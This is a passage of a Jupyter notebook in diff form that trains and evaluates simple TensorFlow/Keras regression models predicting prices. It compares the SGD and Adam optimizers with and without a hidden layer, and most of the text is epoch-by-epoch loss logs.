- loss: 76657.9922 - mae: 76657.9922\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76657.9922 - mae: 76657.9922\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76657.9844 - mae: 76657.9844\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76657.9688 - mae: 76657.9688\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76657.9688 - mae: 76657.9688\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76657.9453 - mae: 76657.9453\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76657.9453 - mae: 76657.9453\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76657.9375 - mae: 76657.9375\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76657.9219 - mae: 76657.9219\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76657.9062 - mae: 76657.9062\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 72, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.random.set_seed(42)\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100,activation=\"relu\"),tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 73, - "id": "6b13fc9d", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 84ms/step - loss: 48742.8320 - mae: 48742.8320\n" - ] - }, - { - "data": { - "text/plain": [ - "[48742.83203125, 48742.83203125]" - ] - }, - "execution_count": 73, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 74, - "id": "ab198d38", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n" - ] - }, - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 312ms/step - loss: 76345.6719 - mae: 76345.6719\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76334.2500 - mae: 76334.2500\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76322.8281 - mae: 76322.8281\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76311.3984 - mae: 76311.3984\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76299.9844 - mae: 76299.9844\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76288.5547 - mae: 76288.5547\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76277.1328 - mae: 76277.1328\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76265.7031 - mae: 76265.7031\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 76254.2812 - mae: 76254.2812\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76242.8672 - mae: 76242.8672\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76231.4375 - mae: 76231.4375\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76220.0156 - mae: 76220.0156\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76208.6016 - mae: 76208.6016\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76197.1719 - mae: 76197.1719\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 76185.7422 - mae: 76185.7422\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76174.3203 - mae: 76174.3203\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76162.8984 - mae: 76162.8984\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76151.4766 - mae: 76151.4766\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76140.0469 - mae: 76140.0469\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76128.6328 - mae: 76128.6328\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76117.2031 - mae: 76117.2031\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76105.7734 - mae: 76105.7734\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76094.3594 - mae: 76094.3594\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76082.9375 - mae: 76082.9375\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76071.5156 - mae: 76071.5156\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76060.0938 - mae: 76060.0938\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76048.6719 - mae: 76048.6719\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76037.2422 - mae: 76037.2422\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76025.8125 - mae: 76025.8125\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76014.3984 - mae: 76014.3984\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76002.9688 - mae: 76002.9688\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75991.5469 - mae: 75991.5469\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75980.1328 - mae: 75980.1328\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75968.7031 - mae: 75968.7031\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75957.2734 - mae: 75957.2734\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75945.8594 - mae: 75945.8594\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75934.4375 - mae: 75934.4375\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75923.0078 - mae: 75923.0078\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75911.5781 - mae: 75911.5781\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75900.1641 - mae: 75900.1641\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75888.7422 - mae: 75888.7422\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75877.3125 - mae: 75877.3125\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75865.8906 - mae: 75865.8906\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75854.4688 - mae: 75854.4688\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75843.0469 - mae: 75843.0469\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75831.6250 - mae: 75831.6250\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75820.2031 - mae: 75820.2031\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75808.7734 - mae: 75808.7734\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75797.3516 - mae: 75797.3516\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75785.9375 - mae: 75785.9375\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 75774.5078 - mae: 75774.5078\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75763.0781 - mae: 75763.0781\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75751.6641 - mae: 75751.6641\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75740.2422 - mae: 75740.2422\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75728.8125 - mae: 75728.8125\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75717.3906 - mae: 75717.3906\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75705.9609 - mae: 75705.9609\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75694.5391 - mae: 75694.5391\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75683.1172 - mae: 75683.1172\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75671.6875 - mae: 75671.6875\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75660.2656 - mae: 75660.2656\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75648.8516 - mae: 75648.8516\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75637.4219 - mae: 75637.4219\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75626.0000 - mae: 75626.0000\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75614.5703 - mae: 75614.5703\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75603.1484 - mae: 75603.1484\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 75591.7266 - mae: 75591.7266\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75580.3125 - mae: 75580.3125\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75568.8828 - mae: 75568.8828\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75557.4688 - mae: 75557.4688\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75546.0312 - mae: 75546.0312\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75534.6094 - mae: 75534.6094\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75523.1875 - mae: 75523.1875\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75511.7578 - mae: 75511.7578\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75500.3516 - mae: 75500.3516\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75488.9219 - mae: 75488.9219\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75477.5000 - mae: 75477.5000\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75466.0703 - mae: 75466.0703\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75454.6484 - mae: 75454.6484\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75443.2266 - mae: 75443.2266\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 75431.7969 - mae: 75431.7969\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 6ms/step - loss: 75420.3750 - mae: 75420.3750\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75408.9531 - mae: 75408.9531\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75397.5312 - mae: 75397.5312\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75386.1016 - mae: 75386.1016\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75374.6875 - mae: 75374.6875\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75363.2578 - mae: 75363.2578\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75351.8359 - mae: 75351.8359\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75340.4062 - mae: 75340.4062\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75328.9922 - mae: 75328.9922\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75317.5781 - mae: 75317.5781\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75306.1406 - mae: 75306.1406\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75294.7266 - mae: 75294.7266\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75283.2969 - mae: 75283.2969\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75271.8750 - mae: 75271.8750\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75260.4531 - mae: 75260.4531\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75249.0234 - mae: 75249.0234\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75237.6016 - mae: 75237.6016\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 75226.1797 - mae: 75226.1797\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75214.7578 - mae: 75214.7578\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 74, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.random.set_seed(42)\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.01), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 75, - "id": "5f315c61", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 98ms/step - loss: 48090.0117 - mae: 48090.0117\n" - ] - }, - { - "data": { - "text/plain": [ - "[48090.01171875, 48090.01171875]" - ] - }, - "execution_count": 75, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 76, - "id": "95564da9", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n" - ] - }, - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 366ms/step - loss: 76582.3281 - mae: 76582.3281\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76455.8281 - mae: 76455.8281\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76326.7031 - mae: 76326.7031\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76194.2812 - mae: 76194.2812\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76058.6484 - mae: 76058.6484\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 75918.6328 - mae: 75918.6328\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 32ms/step - loss: 75773.5625 - mae: 75773.5625\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75621.6094 - mae: 75621.6094\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75463.2812 - mae: 75463.2812\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 75297.3828 - mae: 75297.3828\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 75122.9531 - mae: 75122.9531\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 74940.1484 - mae: 74940.1484\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 74747.9922 - mae: 74747.9922\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 74545.7656 - mae: 74545.7656\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 74333.0391 - mae: 74333.0391\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 74109.1094 - mae: 74109.1094\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 73873.8203 - mae: 73873.8203\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 73626.4219 - mae: 73626.4219\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 73366.3203 - mae: 73366.3203\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 73092.8438 - mae: 73092.8438\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 72805.5938 - mae: 72805.5938\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 72504.1328 - mae: 72504.1328\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 72188.0469 - mae: 72188.0469\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 8ms/step - loss: 71856.7422 - mae: 71856.7422\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 71509.8828 - mae: 71509.8828\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 71147.1094 - mae: 71147.1094\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 70768.0469 - mae: 70768.0469\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 70372.2969 - mae: 70372.2969\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 69959.5156 - mae: 69959.5156\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 69529.3125 - mae: 69529.3125\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 69081.3516 - mae: 69081.3516\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 68615.2812 - mae: 68615.2812\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 68130.7734 - mae: 68130.7734\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 67627.4844 - mae: 67627.4844\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 67105.1172 - mae: 67105.1172\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 66563.3516 - mae: 66563.3516\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 66001.8984 - mae: 66001.8984\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65420.4453 - mae: 65420.4453\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 64818.7266 - mae: 64818.7266\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 64196.4414 - mae: 64196.4414\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 63553.3242 - mae: 63553.3242\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 62889.0977 - mae: 62889.0977\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 62203.4766 - mae: 62203.4766\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 61496.2070 - mae: 61496.2070\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 60767.0273 - mae: 60767.0273\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 60015.6680 - mae: 60015.6680\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 59241.8750 - mae: 59241.8750\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 58445.3438 - mae: 58445.3438\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 57625.8086 - mae: 57625.8086\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 56783.0703 - mae: 56783.0703\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 55916.8711 - mae: 55916.8711\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 55026.9570 - mae: 55026.9570\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 54113.1133 - mae: 54113.1133\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 53175.0977 - mae: 53175.0977\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 52212.5586 - mae: 52212.5586\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 51225.2617 - mae: 51225.2617\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 50213.0391 - mae: 50213.0391\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 49175.6680 - mae: 49175.6680\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 48112.9258 - mae: 48112.9258\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 47024.5820 - mae: 47024.5820\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 45910.4336 - mae: 45910.4336\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 44770.2656 - mae: 44770.2656\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 43613.9219 - mae: 43613.9219\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 42563.9414 - mae: 42563.9414\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 41553.6250 - mae: 41553.6250\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 40530.9883 - mae: 40530.9883\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39555.0234 - mae: 39555.0234\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38691.7734 - mae: 38691.7734\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 38072.9727 - mae: 38072.9727\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 37508.1758 - mae: 37508.1758\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 37102.2656 - mae: 37102.2656\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36827.6367 - mae: 36827.6367\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36646.7891 - mae: 36646.7891\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36477.1367 - mae: 36477.1367\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36378.3906 - mae: 36378.3906\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 36289.7500 - mae: 36289.7500\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 36201.9219 - mae: 36201.9219\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36114.8086 - mae: 36114.8086\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 36062.8828 - mae: 36062.8828\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 36024.8711 - mae: 36024.8711\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 35982.5273 - mae: 35982.5273\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 35936.2070 - mae: 35936.2070\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35886.2539 - mae: 35886.2539\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 35832.9883 - mae: 35832.9883\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 35776.7109 - mae: 35776.7109\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35717.6914 - mae: 35717.6914\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35656.1914 - mae: 35656.1914\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35592.4492 - mae: 35592.4492\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35526.6758 - mae: 35526.6758\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 35459.0703 - mae: 35459.0703\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35389.8086 - mae: 35389.8086\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 35319.0586 - mae: 35319.0586\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 35246.9688 - mae: 35246.9688\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35173.6641 - mae: 35173.6641\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 35099.2773 - mae: 35099.2773\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 35023.9102 - mae: 35023.9102\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34947.6562 - mae: 34947.6562\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 34870.5977 - mae: 34870.5977\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34792.8164 - mae: 34792.8164\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 34714.3789 - mae: 34714.3789\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 76, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.random.set_seed(42)\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100,activation=\"relu\"),tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.01), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 77, - "id": "141d6594", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "WARNING:tensorflow:5 out of the last 7 calls to .test_function at 0x00000293C995A670> triggered tf.function retracing. Tracing is expensive and the excessive number of tracings could be due to (1) creating @tf.function repeatedly in a loop, (2) passing tensors with different shapes, (3) passing Python objects instead of tensors. For (1), please define your @tf.function outside of the loop. For (2), @tf.function has experimental_relax_shapes=True option that relaxes argument shapes that can avoid unnecessary retracing. For (3), please refer to https://www.tensorflow.org/guide/function#controlling_retracing and https://www.tensorflow.org/api_docs/python/tf/function for more details.\n", - "1/1 [==============================] - 0s 104ms/step - loss: 6024.4067 - mae: 6024.4067\n" - ] - }, - { - "data": { - "text/plain": [ - "[6024.40673828125, 6024.40673828125]" - ] - }, - "execution_count": 77, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 78, - "id": "c6e96a10", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(array([[29316.557],\n", - " [57007.09 ],\n", - " [65206.754],\n", - " [49444.38 ],\n", - " [49362.71 ],\n", - " [49233.58 ]], dtype=float32),\n", - " 2 35999\n", - " 16 56990\n", - " 19 74931\n", - " 14 45390\n", - " 15 40338\n", - " 13 42590\n", - " Name: Price, dtype: int64)" - ] - }, - "execution_count": 78, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "y_pred,y_test" - ] - }, - { - "cell_type": "code", - "execution_count": 79, - "id": "89b4f90b", - 